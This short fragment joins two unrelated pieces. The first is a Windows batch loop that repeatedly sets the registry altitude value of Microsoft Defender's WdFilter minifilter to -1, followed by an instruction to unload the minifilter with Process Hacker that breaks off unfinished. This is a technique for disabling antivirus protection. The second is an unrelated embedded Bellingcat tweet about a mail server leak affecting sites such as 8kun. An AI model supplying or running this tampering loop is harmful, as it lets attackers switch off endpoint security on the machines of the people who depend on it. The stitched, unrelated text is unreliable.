:again
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdFilter\Instances\WdFilter Instance" /v altitude /t REG_SZ /d -1 /f
goto again
Then unload minifilter with process hacker:

A mail server vulnerability has publicly exposed more than a year\u2019s worth of email logs, as well as highlighted security and infrastructure issues, faced by the administrators and maintainers of controversial websites such as 8kun. https://t.co/JgcZ4ihuwf
— Bellingcat (@bellingcat) January 7, 2021